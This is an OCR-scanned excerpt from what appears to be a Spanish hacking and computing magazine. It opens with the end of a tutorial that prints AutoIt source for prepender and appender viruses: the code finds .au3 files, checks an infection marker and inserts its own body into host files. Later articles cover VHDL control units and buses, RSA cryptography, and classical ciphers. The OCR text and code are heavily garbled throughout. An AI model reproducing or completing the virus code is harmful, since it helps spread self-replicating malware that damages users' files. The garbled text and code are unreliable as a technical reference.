go si no hay fichero encontrado, salimos, si lo hay, entonces lo
abrimos.

If %host = -1 then ExitLoop
freadhost = FileBRead(Shost,
FileGetSize(5file))
FileClos=({$host)

5i no puede abrir el fichero (if comparando con -1), salimos
del cédigo del If, sino lo leemos v lo almacenamos en una va-
riable. Luego borramos el fichero.

if StringInStr (5readhost,
"iGenetix[DoomRiderz]") <> True Then
SInsertVirus = FileCpen({5file, 2]
FileWriteline (5InsertVirus,
Svirusg & ACERLFE ":endvirups™ § @
CERLF & Sreadhost)
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FileClose (SInserktvVirus)
EndIE

Wend
rendvirus

Miremos la funcidn StringlnStr, que lo que hace, es buscar el
string “;Genetix|DoomRiderz]”, para poder saber si estd infecta-
do el fichero. Si estd infectado, entonces no lo infecta de nuevo,

En cambio, si no lo esta, abrimos el archivo del virus, para
luego insertar en el fichero a infectar, el virus, con la marca del
final del mismo.

Vemos que inserta primero el virus y luego el programa ori-
ginal, por eso, es prepender. :)

Virus Appender

Como se imaginardn los virus appender, son lo contrario de los
preprender, éstos se agregan al final de los ficheros a infectar. La
mecanica del virus, es muy parecida, pero no esta mal reveer,
para saber como tenemos que hacerlo.
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;start
rGenetix[DoomRiderz]

seelf=@5criptName
5line=""
Evirus=""
Sreadhost=""
Eme = FileOpen(5self, 0)
while 1
$lipe = FileReadLine(Sm=)

If Berror = -1 Then Exitloop
if (Sline = ";start") then
ExiELoop
EndIf
Wend

Vemos las variables principales del virus, la marca al prin-
cipio, que indica el principio, v tendremos también el final del
virus, con una marca.

El virus, se abre a si mismo, y luego, busca la marca
inicial,si por alglin motivo, no se puede abrir, 0 no encuentra la
marca, entonces saldri del proceso.

while 1
$line = FileReadLine (Sme)
If Berror = -1 Then ExitLoop
1f (3line = ";endwvirus"} then
ExXxitLoop
EndIEf
virus = Svirus & @CELE & 5line
Wend
FileClose (Sme)

Bien, entonces leemos de a una linea del bucle, si da error,
porque ha encontrado un fin de linea, entonces sale del IF,

5ino encontra un EOF, entonces busca la marca de fin del
virus. Cuando encuentra el fin del virus, arma el cuerpo del
mismo, como en el virus anterior, agregando un fin de linea y
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sexit 1 f
nothing is there
EndIf
While 1
$file = FileFindMextFile (S=search)
I fstilel == "y then EXitLoop

S$host = FileOpen(5file, 0)

If shost = =1 then ExitLoop
;axit EOF

freadhost = FileBead|(Shost,
FilleGetSize (5file))

FileClose (Shost)

Vemos que busca un fichero au3, para poder infectar, si no
encuentra, el bucle finaliza. Pero sino, abrird el fichero, y leerd
el mismo en memoria, dentro de una variable. Luego cierra el
fichero.

if StringInsStr(Sreadhost,
"iGenetix [DoomBRidarz] ™) <> True Then
SInsertVirus = FileOpen(5file,2)
FileWriteline (SInsertVirus, _
Sreadhost & BCRLE & ";start” & BCELF &
svirus & RCRLF & ";endvirus")
FilaClose (SInsartVirus)

Cel=lw)

antivirus s yst2m

EndIf
HWend

sendvirus

Muevamente como el virus Prepender, si encuentra el string
indicado, entonces, abrird el fichero a infectar, finalmente, in-
serta DESPUES del cuerpo del programa, el mismo.

Termina cerrdindolo.

Conclusion

Bueno amigos, hemos visto, que los famosos tipos de virus, no
son nada especiales. Queda mds que claro, estudiarlos con un
lenguaje de script.

Creo que es una de las mejores formas de aprender progra-
MAC TN WIrC:a.

Mos vemos en la proxima,
SparK
http://www.disidents.org
http://www.intrabytes.com
spark@disidents.org
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ENTITY sum dop paral IS
PORT (a,b,c,d: IN BIT VECTOR (15 DOWNTO Q) :
s: OUT BIT VECTOR (15 DOMWNTO 0));
END sum 4op paral;

ARCHITECTURE estructural OF sum 4op paral IS

——declaracitn de componentes

COMPONENT sumlﬁ_prnp
PORT (Aa,b: IN EIT_UECTGR (15 DOWNTO 0

cin: IN BIT;
& 0UT EIT_FECTGR (15 DOWHTO 0O):
cout: OUT BIT);:

EHND COMPOMENT ;

——declaraclién de sefiales

GHAL cero: BIT:='0";

GNAL templ: BIT VECTOR (15 DOWNTO O);:
SIGHAL temp2: EIT_UEETDR {15 DOWNTO 0O);
SIGHNAL nulo: BIT VECTOR (2 DOWHTO Q);
-—uybicacidén de arquitecturas
FOR ALL: sumlé prop USE ENTITY WORK.suml6

prop(estructural) ;

BEGIN
-—gconexidn de la estructura

==primer sumador
suml: sumlée prop PORT MAP(a,b,cero, templ,nu
lo(0) )i

-—zegundo sumador
sume: sumle prop PORT MAP(c,d,cero, tempZ,nu
lo(l)):

==tercer sumador
sum3: sumlé prop PORT MAF (templ, tempZ,cero,
g, nulaf2)):

EHD estructural:;

Este ejemplo tan basico, aunque no lo parezca, se asemeja
a lo gue seria una unidad de control cableada muy sencilla. ;Y
qué es una unidad de control cableada? Para hablar de eso, pri-
mero debemos hablar un poco de qué es una unidad de control

LGN G ARQUITECTURA DE COMPUTADORES ~=

LOS MODERNOS PROCESADORES
SEGMENTADOS DISPONEN DE VARIAS
UNIDADES DE EJECUCION ESPECIALIZADAS

de una forma un poco mds rigurosa, asi como definir las funcio-
nes y responsabilidades de la misma.

La unidad de control

Ya hemos visto, informalmente, que una unidad de control
debe controlar a todos los demas elementos de la unidad de
proceso del computador. Vale, la unidad de control controla,
una gran perogrullada. Siendo mds formales, una unidad de
control tiene la misidn de cumplir la ejecucion de cuatro fases
hisicas:

1.Fase de obtencion: obtener de la memoria la siguiente
instruccion, que vendra dictada por la posicion de memaoria
existente en el contador de programa.

2.Fase de decodificacion: decodificar la instruccion obtenida.

3.Fase de ejecucion: ejecutar la instruccion decodificada.

4.Fase de actualizacion: calcular la nueva direccion que debe
quedar en el contador de programa.

En cada ciclo o conjunto de ciclos, el procesador realiza
una serie de operaciones elementales, las cuales deben ser
dictadas por la unidad de control. De forma basica, podemos
decir que estas operaciones elementales pueden ser de proce-
50 (transformacidn de la informacian mediante un operador)

o de transferencia (transporte de informacion de un elemento
del conjunto a otro), v que todas ellas comienzan y terminan
invariablemente en un elemento de almacenamiento, bien sea
la memoria, un buffer, un registro, etc.

Si echdis un vistazo al conjunto de elementos de que
disponemos en nuestra coleccion de entidades de VHDL,
veréis que todas las entradas y salidas pueden clasificarse
en dos tipos principalmente. El primer tipo, v mds evidente,
es el de los datos. Y el otro tipo, quiza no tan evidente, es el
conformado por aguellas sefales que no transportan datos,
sino que portan informacién sobre el comportamiento del
elemento. Un ejemplo seria la senal de habilitacion (enable)
de los circuitos digitales, pues su Gnico cometido es activar o
desactivar el funcionamiento del circuito. Este segundo grupo

de sefales serian las que conocemos como sefiales

B e TR TP D LT T TR L AR R L L LSRR

de control.
Asi pues, la unidad de control serd la encargada

WL LT

de generar las senales de control necesarias para
llevar a cabo la secuencia de pasos que hemos de-
finido como tarea suya. La mayoria de los elemen-
tos que conforman el computador, desde todas las
demds unidades hasta la propia unidad de control,
pasando por los elementos auxiliares, estin goberna-
dos por estas sefiales de control.

Filosofias de diseno
Al principio del presente articulo comentibamos que

ik —pFLBFT LERCT

b
——targande i

IR cobrroer oorior

35 im0 sEtrectersl |

25 tawd: wasil_prep FOET SAFQEEcora Lrap aulsill ]
1) e

4 pandc pawd _prop FORT sefic,d,cero, beepl osaleddll;
i

01 SaRdE SEEE_prip PORT SEPECERE]  DHREE DER L8 10 2E D
¥

el ejemplo de codigo de los sumadores seria similar a
una unidad de control cableada muy simple, Asi, una
unidad de control cableada seria aquella cuya logica
estuviera directamente programada mediante circuitos
sl ldgicos, y las sefiales de control se activaran como
consecuencia del proceso de dichas funciones. Formal-
mente, se trata de una miquina de Moore, de forma
que el estado de la magquina es relevante para sus sali-
das, y no sdlo las entradas (recordad cuando hablamos
de circuitos secuenciales).
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Hace tiempo, en su acepcion original,
se referia a maltiples conexiones eléctri-
cas fisicas literalmente; si bien hoy en dia
ce utiliza el término bus para cualquier
medio de conexion fisica que provea una
funcionalidad similar a un conjunto de
cables eléctricos en paralelo, adn cuando
se trate de una conexidn en serie. Todos
conocemos ejemplos mds o menos coti-
dianos -en el ambito de la informatica-
de buses: PCl, AGP. PCle, USBE, Firewire,
ATA, SC5l...

Pero en la definicidn hemos comenta-
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do algo que nos va a dar algtin quebrade-
to de cabeza en VHDL, y es el hecho de
que todos los dispositivos canectados al
bus puedan recibir y enviar informacion
al mismo. En principio, conectar para lec-
tura una misma sefal a varios elementos
no tendria por qué suponer un problema,
pera lo de que todos puedan escribir en el
bus si gque puede resultar problemitico. 5i
probdis a conectar varias salidas de circui-
tos a una misma sefial, veréis que el com-
pilador se queja de sefales no resueltas.
Pues habri que resolverlas, qué remedio...
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HOY EN DIA SE UTILIZA

EL TERMINO BUS PARA
CUALQUIER MEDIO

DE CONEXION FiSICA

QUE PROVEA UNA
FUNCIONALIDAD SIMILAR A
UN CONJUNTO DE CABLES
ELECTRICOS EN PARALELO

Resolviendo senales

Antes de entrar en el tema de la funcion
de resolucion, hay otro pequefio detalle
que debemos tener en cuenta, y es que
un bus puede estar siendo utilizado o
no. En caso de que esté siendo utilizado,
obviamente transportard datos de algan
tipa, pero... 3y si no transporta datos? La
solucion méds comin es dejar el bus en
estado de alta impedancia.

Un estado de alta impedancia (que
suele representarse con el simbalo “Z7)
es un estado eléctrico equivalente a un
circuito abierto, es decir, una conexian
ahierta (impedancia tedrica infinita). Para
evitar que ocurra un cortocircuito en el
BUS cuando varios dispositivos traten
de acceder a él, cada uno intentando
ponerlo en un estado, suelen utilizarse
buffers capaces de poner su salida en tres
estados diferentes: nivel alto (uno ldgico),
nivel bajo icero logico) v alta impedancia
("Z" logica).

Para utilizar sefiales triestado podria-
mos utilizar el tipo “std_logic” que nos
proporciona el lenguaje, pero para sim-
plificar definiremos nuestro propio tipo
con su mismo nombre.

TYPE triestado IS
[P R LB A

También debemos definir un bus de
datos de un ancho determinado. En nues-
tro caso, ¥ para ser consecuentes con lo
fue tenemos ya desarrollado, serd de 16
bits:

TYPE buslé IS BRRAY (15
DOWHTO 0) OF triestado;

Cuando varios dispositivos estén
tratando de acceder al bus, se generara
un conjunto de sefales de tipo bus que
debemos tratar, por lo que empezaremos
por definir dicho conjunto:

TYPE vbuslt IS5 ARRAY
(NATURAL RAMGE<>) OF buslé;

Ha llegado el momento de hablar de
la funcion de resolucion que comenta-
mos antes. La funcion de resolucion tiene

@~




EL TIEMPO QUE

DEBE RETENERSE LA
INFORMACION DEBE SER

EL SUFICIENTE COMO PARA
QUE LA INFORMACION
PERMANEZCA EN EL BUS DE
DATOS MIENTRAS ES LEIDA

por tarea hacer que el bus tenga un Gnico valor en cada instante
de tiempo, para lo cual debera tomar el conjunto de sefiales de
tipo bus, que hemos definido mediante el tipo vbus16, y devol-
ver una anica sefial de bus del tipo bus16, Asi, la declaracitn
de la funcion seria la siguiente:

FOHCTION resclucigonlé (emt: vbuslé) RETURHN
busia;

Por dltimo, debemos definir un tipo que aplicar al propio
bus, y que debe ser del tipo bus16 pero asegurindonos de que
|la sefial ha sido resuelta, para lo cual debemos aplicarle la fun-
cion de resolucion:

SUBTYEE rbuslée IS resoluciconlfé busla:

Paquete de bus

Ademds de todas esas declaraciones, debemos codificar el
cuerpo de la funcian de resolucidn, y compilarlo en algdn lugar
en el que esté disponible para ser utilizado en cualquier mo-
mento que |o necesitemos. Como estaréis pensando la mayoria
de vosotros, lo mejor serd crear otro paquete que llamaremos
“bus_pack.vhd”. Su cadigo serd el siguiente:

PACKAGE bus pack IS

—= Tipo triestado: nivel alto, nivel bajo
y alta impedancia

TYPES Criestadon TSR QN arLy vy
—— Tipo para un bus de 16 bits
TYPE buslé IS ARRAY (15 DOWNTOQ Q) OF

triastado:;

== Tipo para un vector de buses de 16 bits
TYPE wbhusl6 IS5 ARRAY (MATURAL RANGE<>) OF
buslif;

—— Funcion de resclucién para un bus de 186
bits

FUMCTION resolucionlé (ent:
bu=16;

vbuzsle) RETURN

—— Tipp para la senzl resuelta de un bus
con conflicto de acceso
SUETYEE rbuslé IS5 resolucionlé buslé;
END bus pack;

PACKAGE BODY bus pack IS

FUNCTION resoluciconlie (a2nt: wvbuslg) RETUEM
busle IS
VARIABLE data: busle:=[("E" FEYV TEF 13U
wa BB TR,
13',‘2";’2‘.:“2',
1grrlg1‘rzl'13r}:
BEGIN

FOR 4 IN ant'BAMGE LOOP |
FlUR j IN O 7025 LOOP
IF anti{i} {3)

rll
THEN dato(j):="1";

ELSIF (ent (i) {j)

Y0'ORND datofd)if= '"1") THEN
datai(j):=
gt
END IF;
END LODE;
END LOOPE;

RETUORM dato;
END rezolucionl6;
END bus pack:

A partir del momento en que compilemos este paquete, para
utilizar sus elementos dnicamente debemos usar una sentencia
USE como la siguiente:

UsE HGRH.bus_pack.ALL;

El buffer

Al hablar de resolucidn de sefales en un bus, salid a colacidn
el término buffer como elemento fisico encargado de establecer
sus salidas en alta impedancia para evitar cortocircuitarlo. EI
término quizd os sea familiar a muchos de vosotros, pues apa-
rece en multitud de ocasiones en la informatica: I:uﬂgr de un
video en Internet (como YouTube), buffer de grabacidn al grabar
un CD o DVD... asi pues, un buffer no seria mas que una espe-
cie de entidad temporal de almacenamiento de informacidn,
encargada de mantener unos datos determinados durante el
tiempo suficiente para que éstos sean procesados. En el caso del
video por Internet, el tiempo de retencion seria el que tengamos
abierto el elemento que origind la creacidn del bu?fer, o para la
grabacion del disco, hasta que ésta termine.

En el caso que nos ocupa, el tiempo que debe retenerse
la informacidn debe ser el suficiente como para que la infor-
macion permanezca en el bus de datos mientras es leida. Este
elemento de almacenamiento temporal, junto con otro de alma-
cenamiento persistente -el registro, del que hablaremos en otra
ocasion- conforman lo que podriamos tomar por una unidad
bidsica de transferencia de informacion para una unidad de con-
trol simple.

Asi pues, nuestro buffer deberia tener una entrada de ancho
palabra, en este caso un bus de datos de 16 bits, una salida de
igual tamano, asi como una entrada de control que indique
cudndo debe activarse el elemento. De esta forma, los puertos
de la entidad deberian ser una cosa como ésta:

ENTITY bufferla IS
PORT (entrada: IM busle;
control: IN BIT:='["':



salida: OUT busli);
END bufferlb;

También deberiamos tener en cuenta tomar unos retardos

ra el circuito, concretamente dos: uno para la transferencia,

o para el caso de que la salida deba ser de alta impedan-
Perfectamente podrian ser el mismo, pero dado que en los
uitos reales que implementan los buffer no suele darse la
unstancia de que coincidan, los tomaremos diferentes -si

«n con un valor arbitrario- para dar mayor realismo a la simu-

won. Asi, tomaremos un par de valores genéricos.

GEMERIC (rdtramsf: TIME:= 20 ns:
rzcranst: TIME:= 10 nsg);

Por tanto, la declaracion de nuestra entidad seria la siguiente:

ENTITY bufferls IS
GENERIC (rdtransf: TIME:= 20 ns;
rztransi: TIME:= 10 nsk;
FOET (entrada: IM busle:
control: IW BIT:="0%;
salida: OUT buslG):
END bufferlc;

STILINY{ls' ARQUITECTURA DE COMPUTADORES <2

El mes que viene...

La implementacion del buifer la veremos el mes que viene,
aungue creo que tenéis conocimientos mas que de sobra para
intentar programar un codigo cmmpurtamenml que simule el
elemento descrito. Esa es, pues, la tarea que dejo para que,
aquel que quiera, vaya haciendo algo de cara a la proxima en-
trega. El mes que viene continuaremos con la unidad de control
por donde lo dejamos ahora.

Como siempre, os recuerdo que cualquier duda que tengdis
podéis consultirmela, pues mi correo esta a vuestra disposicion.
También os recuerdo que el codigo fuente del curso estard col-
pado, cuando tengiis la revista en vuestras manos, en mi pagina
web, de forma que poddis tomarlo directamente y no tengdis
que transcribirlo a mano.

;Hasta el mes que viene!
Ramiro Cano Gomez

death_master@hpn-sec.net
http://omniumpotentior.wordpress.com/
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Buenas amigos, hoy les traigo un tema mas que interesante. La criptografia asimétrica. Es una
invencion, mas que itil para lo que necesitemos que sea piiblico sin que se entere ese piiblico
que es lo que esta pasando por dentro.... ;}No entienden?

SE TRATA DE UN METODO
CRIPTOGRAFICO QUE USA
UN PAR DE CLAVES PARA EL
ENVIO DE MENSAJES.LAS
DOS CLAVES PERTENECEN
A LA MISMA PERSONA A

LA QUE SE HA ENVIADO EL
MENSAJE

@

:Qué es la criptografia
asimétrica?

Se trata de un método criptogrifico que
usa un par de claves para el envio de
mensajes.Las dos claves pertenecen a la
misma persona a la que se ha enviado el
mensaje.

“Una clave es piblica v se puede en-
tregar a cualquier persona. La otra clave
es privada v el propietario debe guardarla
de modo que nadie tenga acceso a ella.
El remitente usa la clave piblica del des-
tinatario para cifrar el mensaje, y una vez
cifrado, sdlo la clave privada del destina-
tario podra descifrar este mensaje.”

Como vemos, v vimos en anteriores
ndmeros, con la teoria del secreto perfec-
to, el problema principal es que la parte
que se encargaria de descifrar el mensaje
debe conocer la clave.

Fara que la otra parte conozca la cla-
ve, debe ser enviada o ser conocida por
algan método. Partiendo de la teoria que
cualquier medio es vulnerable a ser ata-
cado e interceptado.

Entonces ahi entran los sistemas de
cifrado de clave piblica, que no son in-
violables, pero permiten solucionar este
problema de la distribucidn de claves.

Con las claves piblicas no es nece-
sario que el remitente v el destinatario se
pongan de acuerdo en la clave a emplear.
Lo que se requiere es que antes de iniciar
la comunicacidn secreta, el remitente
consiga una copia de la clave piblica del
destinatario.

Esa misma clave piblica puede ser
usada por cualquiera que desee comu-
nicarse con su propietario. Por tanto, se
necesitaran sdlo n pares de claves por

cada n personas que deseen comunicarse
entre si.

Los sistemas de cifrado de clave pi-
blica se basan en funciones-trampa de un
solo sentido que aprovechan propiedades
particulares, por ejemplo de los ndmeros
primos.

Una funcidn de un solo sentido es
aquella cuya computacion es ficil, mien-
tras que su inversion resulta extremada-
mente dificil.

“Es facil multiplicar dos nimeros pri-
mos juntos para oblener uno compuesto,
pero es dificil factorizar uno compuesto
en sus componentes primos.”

Una funcién-trampa de un sentido es
algo parecido, pero tiene una "trampa”.
Esto quiere decir que si se conociera al-
guna pieza de la informacion, seria ficil
computar el inverso.

Por ejemplo, si tenemos un ndmero
compuesto por dos factores primarios y
conocemos uno de los factores, es ficil
computar el segundo,

En un sistema criptogrifico de clave
publica basado en factorizacién de ni-
meros primos, la clave pablica contiene
un ndmero compuesto de dos factores
primos grandes, y el algoritmo de cifrado
usa ese compuesto para cifrar el mensaje.

El algoritmo para descifrar el mensaje
requiere el conocimiento de los factores
primos, para que el descifrado sea facil si
poseemos la clave privada que contiene
uno de los factores, pero extremadamen-
te dificil en caso contrario.

Seguridad y diferencias

Como con los sistemas de cifrado simeé-
tricos buenos, con un buen sistema de
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En un ataque de fuerza bruta sobre
un cifrado de clave publica con un clave
de un tamaio de 512 bits, el atacante
debe factorizar un nimero compuesto
codificado en 512 bits (hasta 155 digitos
decimales).

La cantidad de trabajo para el atacan-
te serd diferente dependiendo del cifrado
que esté atacando. Mientras 128 bits son
suficientes para cifrados simétricos, dada
la tecnologia de factorizacidn de hoy
en dia, se recomienda el uso de claves
plblicas de 1024 bits para la mayoria de
los casos.

Esto nos da de pensar cuando cree-
mos que algoritmos como PGP son invio-

utiliza RSA (en algunas versiones) y 3DES
como algoritmo de cifrado interno.

Acd es donde lo mencionamos como
hibrido. El algoritmo 3DES es simétrico,
mientras gue RSA como estamos viendo,
no es simétrico.

RSA sirve para dar a conocer al que
va a enviarme un mensaje cifrado, la
clave con la que deberd cifrarlos datos.
Al utilizar un algoritmo que posee fun-
ciones-trampa, es sencillo de pensar que
para factorizar el nimero resultante, re-
guiere mucho procesamiento.

Depende de lo fuerte de la clave para
poder llevar a cabo el ataque.

Debido a que la encriptacion asime-
trica es casi 1000 veces mas lenta que

b |
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la simétrica, cuando la informacicn a
encriptar es mucha, se utiliza una combi-
nacion de algoritmos.

El algoritmo simétrico se utiliza para
encriptar la informacion y el asimétrico
para encriptar la llave del algoritmo simé-
trico con que se encripté a informacidn.

Entonces, el proceso es mucho més
rapido. Esta técnica se utiliza hoy en SSL
en la negociacion entre el navegador del
cliente y el servidor.

En cada ida y vuelta al servidor se
generan nuevas llaves y se realiza todo el
proceso. También es utilizada por Windo-
ws en |a encriptacion de los archivos,

Otro motivo para utilizar esta encrip-
tacion combinada, es la necesidad de
encriptar textos lagos. La encriptacidn
asimétrica ademas de ser ineficiente en
tiempo, tiene limitaciones de tamano.

Algﬂritmns de cifrado

asimétrico
PGP, GPG, y otros algoritmos hibridos,
utilizan el siguiente proceso.

Se cifra la clave con el método asimé-
trico, con la cudl se cifrard con el algorit-
mo simétrico, los datos sensibles
a lerceros.

Entonces, podemos decir, que
RSA cifra la clave 1234 que es la
que utilizara 3DES para cifrar los
datos “gané 1.000.000 de dola-
res”,

La forma de descifrarlo, seria:
Se utiliza la clave privada para
descifrar la clave 1234, para
utilizarla como clave con 3DES
para descifrar los datos cifrados
v obtener el texto original: “gané
1.000.000 de dolares”.

Existen otras opciones como
ElGammal, DSA, Diffie-Hellman,
que utilizan distintas funciones-
trampa , que no son ni mas ni
menos, que métodos matemadticos.

Quizds mas adelante podamos
ver de que trata cada uno. For
ahora empezaremos con el cono-
cido y mas famoso RSA.

El camino de RSA

El camino que los creadores del
algoritmo que lleva sus iniciales, y
pertenecian en aquel momento al
MIT, es el que describiré ahora de
manera textual:
Generemos dos ndmeros

primos aleatorios grandes, los [la-
maremos p y q. Deben ser aproxi-

@ e

madamente del mismo tamano que su
producto n=p.q, lo que dard la longitud,
por ejemplo: 1024 bits.

1. Computar n = pq y (f) phi = (p-1)ig-1).

2, Elegir un enetero g, 1 < e < phi, tal
cue su gedle, phi) = 1.

3. Computar el exponente “secreto”
d, 1 <d < phi, tal que
ed 7 1 (mod phi).

4. La llave piiblica es (n, ) y la llave
privada es (n, d). El valor de p, g, v phi
deberia mantenerse en secreto.

- n es el madulo.

- & es el exponente publico o expo-
nente de encripcicon.

- d es el exponente privado o el expo-
nente de desencripcian.

Ahora veremos un caso de ejemplo,
para generar una llave pidblica v una pri-
vada.

1. Seleccionemos los nimeros primos
p=11, g=3.

2.n=pg=11.3=33
phi = (p-1)ig-1) = 10.2 = 20

3. Elegimos e=3
- chequeamos gedie, p-1) = ged(3, 10) =
1 {por ejemplo, 3 y 10 no tienen factores
en comun, excepto 1), y chequeamos

OTRO MOTIVO PARA UTILIZAR
ESTA ENCRIPTACION
COMBINADA, ES LA
NECESIDAD DE ENCRIPTAR
TEXTOS LAGOS. LA
ENCRIPTACION ASIMETRICA
ADEMAS DE SER INEFICIENTE
EN TIEMPO, TIENE
LIMITACIONES DE TAMANO

i

P ¢ Q PRINE
N=PQR
£D = [ pod (P-Da-D

C = A" NMODN

M= C°
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EL CAMINO QUE LOS
CREADORES DEL
ALGORITMO RSA, QUE
LLEVA SUS INICIALES, Y
PERTENECIAN EN AQUEL
MOMENTO AL MIT

[\

SIE-C s RelbilisYos

LIV ASIMETRICA s

gedie, g-1) = ged(3, 2) = 1
- entonces god(e, phi) = gedle, (p-T)ig-1))
=ged(3, 20) =1

4. Computar d tal que ed ? 1 (mod
phi)

- por ejemplo, computamos d = e”-1

mod phi = 3-1 mod 20

- otro ejemplo es, buscamos un valor para
d tal que phi divida (ed-1)

- y otro ejemplo, buscamos un valor para
d tal que 20 divida 3d-1.

- Simplemente probando (d =1, 2, ...) nos
da como resultado d = 7

- Probamaos: ed-1 = 3.7 - 1 = 20, el cual
es divisible por phi.

5. Llave ptiblica = (n, &) = (33, 3)

- Llave privada = (n, d} = (33, 7).

RSA puede también ser usado para
autenticar un mensaje. Supongamaos que
Alicia desea enviar un mensaje autentifi-
cado a Bob.

Ella produce un valor hash del men-
saje, aumenta la potencia de d? mod n
(como ella hace cuando descifra mensa-
jes), y marca con una “firma” el mensaje.

Cuando Bob recibe el mensaje au-
tentificado, él aumenta la autentificacion
para aumentar e? mod n (como hace €l
cuando cifra menajes), y compara el re-

7 il Ao idn Asimdstnics V2O - la wisidn e un ingemeenn de Campo Wirdues liflernet Exgpdores

ﬂ_..'_‘ w [T itz fmemvps comylion mathiry farchive 2004/ 12/ 10 pasied. atp

(]

sultado hash con el actual valor hash del
mensaje.

Si es el resultado, el conoce que el
autor del mensaje estaba en posesion de
|a clave secreta de Alicia, v que el men-
saje no ha sido tratado de forzar entonces
(no ha sufrido ataques).

Conclusion

Bien amigos, son teorias y métodos mds
que interesantes. Estos algoritmos y cla-
ves irdn creciendo con el tiempo, vivire-
mos entre estos algoritmos, y este tipo de
autenticaciones son demasiado comunes
hoy en dia, pero cada vez, mis lo seran...
Mos vemos en la proxima..
Hasta pronto.

Spark
http://www.intrabytes.com
http://www.disidents.org
spark&disidents.org
arielrm@intrabytes.com
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Primeros fundamentos para entender su mecanismo

en mucho menos tiempo.

Hola a todos, comenzamos con este articulo una nueva serie sobre criptografia clasica, en el cual
se pretendera explicar lo mas claro y detallado posible los sistemas mas conocidos para el cifra-
do de mensajes, asi como su posible criptoanalisis. Quizas esto os resulte antiguo o no os resulte
interesante unos sistemas en desuso, pero podriais peder horas y dias intentando romper algin
sistema que pensaseis actual, y que después se tratase de un simple sistema que podriais romper

NI SIQUIERA EXISTIAN
MAQUINAS Y ERA EL
OPERARIO QUIEN DEBIA
REALIZAR TODO EL PROCESO
MANUALMENTE, COMO EN

EL CASO DEL SISTEMA JN-25
JAPONES UTILIZADO EN LA 22
GUERRA MUNDIAL

;Qué se entiende por
crlptngraﬁ’a clasica?

Hay ciertas caracteristicas que podrian
ayudarnos a comprender en que se
diferencia la criptografia clisica de la
moderna.

La criptogratia moderna esta estre-
chamente vinculada con la informatica
y practicamente todos los algoritmos
actuales se basan en ella, cosa muy
alejada de la criptografia cldsica, don-
de unas maquinas, verdaderas obras de
artesania, nos realizan el trabajo por
medios mecanicos, o donde ni siquiera
existian maquinas y era el operario
quien debia realizar todo el proceso
manualmente, como en el caso del sis-
tema JN-25 japonés utilizado en la 2°
Guerra Mundial.

Ademas, este tipo de sistemas que-
daban priacticamente reservados a las
operaciones militares o gubernamen-
tales, rodeadas de un gran misterio
por parte de la poblacion, que en la
mavyoria de los casos desconocian.
Actualmente, cualquiera puede cifrar
sus datos con alguno de los conocidos
algoritmos actuales, todo ello, gracias
a la informatica.

Otro, ¥ quizds el mas importante
punto, es que la fortaleza de los sis-

temas actuales reside en la seguridad
de una clave privada, existiendo otra
pablica, y ademas, queda p-ljhlir:.n el
algoritmo de cifrado, algo impensable
en los sistemas clasicos, pues ellos
basaban su fortaleza en el secreto del
propio algoritmo, y no en una clave,
aunque podrian estar reforzados con
ella, como veremos en praximos nui-
MEeros.

$Qué tipos principales de
sistemas clasicos existen?

Los sistemas clisicos basaban sus algo-
ritmos en las sustituciones y transpo-
siciones de los caracteres del mensaje
por otros equivalentes en funcion a su
propio algoritmo.

Debido a ello se pueden clasificar
los sistemas en sistemas de transposi-
cion vy de sustitucion.

Dentro de los sistemas de trans-
posicion, nos encontramos con los
sistemas:

Transposicién de Grupos:

Dentro de este grupo nos encontramos
a un famoso sistema, llamado Escitala.
Este sisterna consistia en enrollar una
cinta sobre un bastdn (con un didme-
tro concreto). El texto se escribia de




iorma longitudinal sobre el bastdn,
ie tal modo que al desliarlo, quedaba
wotalmente diferente. Para poder leerlo,
se debia enrollar en un baston de igual
didmetro, pues de lo contrario daria un
mensaje erroneo.

De lo anterior obtenemos:

M = ESTO ES UNA PRUEBA DEL
SISTEMA DE LA ESCITALA

C = EDSSECTLIOSTEIASSLUTANE
AM PA RD UE EL BA AE

* A partir de ahora, al mensaje en
texto claro lo denominaremos M, v al
criptograma, o mensaje cifrado C.

Transposicion de Series:

Este sistema consiste, en alterar el sen-
tido de los caracteres de un mensaje
en funcidn a “submensajes” que se for-
man en funcidon a una serie para cada
“submensaje”

Por ejemplo, una posible serie,
seria:

51 — Los nimeros divisibles entre 4

52 — Los nimeros primos

53 — El resto de ndmeros

Con lo cual, para el mensaje M =
ESTO ES UNA TRAMNSPOSICION DE
SERIES con 30 caracteres tendriamos la
siguiente combinacion de series:

51 -4.812,16,20,24,28

52-1,3,5711,12,17.19,23,29

%3 -2,6,9,10,14,15,18,21,22,25,2
6,27,30

Y se obtendria el criptograma de la
figura inferior.

Transposicion de Columnas/Filas:
Este sistema consiste, en escribir el men-
saje en columnas, o filas, v enviarlo al
contrario, es decir, si escribimos el men-
saje en columnas, se envia leido por filas,
¥ VICEVErsa.

En cuanto al grupo por sustitucion,
son muchas mas las variantes que
existen y no podrian ser presentados
todos en este nimero, por lo tanto lo
iremos viendo en préximos nimeros
de la revista. De todos modos, pongo
Aful un pequend esquema, que Iremaos
ampliando, como he dicho, en los
proximos nimeros.

Sistemas por sustitucion:
- Monoalfabética
- Monogramica
Alfabeto Estandar
Alfabeto Mixto
Transformacion
- Poligramica
« Polialfabética
- Periadica
Alfabetos Lineales
Alfabetos progresivos
- No periddica

Estadisticas del lenguaje

Todos los idiomas presentan unas caracte-
risticas que nos podrian ayudar a la hora
de realizar un criptoandlisis. En el lengua-
je espanol, queda demostrado, que la le-
tra E es la gque mas se repite, superando el
13 %, seguida de la A que supera el 10 %,
v a continuacion las letras 5, O, 1, N que
se encuentran entre el 7 % y el 8 9.

EN EL LENGUAJE ESPANOL,
QUEDA DEMOSTRADO, QUE
LA LETRA E ES LA QUE MAS
SE REPITE, SUPERANDO EL
13 %, SEGUIDA DE LA A QUE
SUPERA EL 10 %
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Todo esto puede presentar algunos
cambios debido a la naturaleza del
texto, por ejemplo en un texto sobre
informadtica, podrian variar algunas
frecuencias, como el caso de la letra F
o T. Aunque seguramente las letras an-
tes mencionadas sigan siendo las mas
frecuentes,

Esto nos puede ayudar a realizar
un criptoandlisis basandonos en las
frecuencias del criptograma a estudiar.
Aunque para ello, lo aconsejable es
poseer gran cantidad de texto cifrado
para realizar un estudio mds correcto.

Esta es una de las desventajas de
los sistemas por sustitucidn monoa-
lfabética, donde un cardcter se co-
rresponde a un Unico equivalente del
alfa Eetu de cifrado.

Los sistemas polialfabéticos resuel-
ven este problema, ya que a la hora de
realizar el cifrado del texto, cuentan
con varios alfabetos, a fin de distribuir
las frecuencias de forma que queden

siva del mismo, ya que mientras mas
texto cifrado se encuentre, mayor serd
la facilidad para desciirarlo, debido
a fue se cuenta con gran numero de
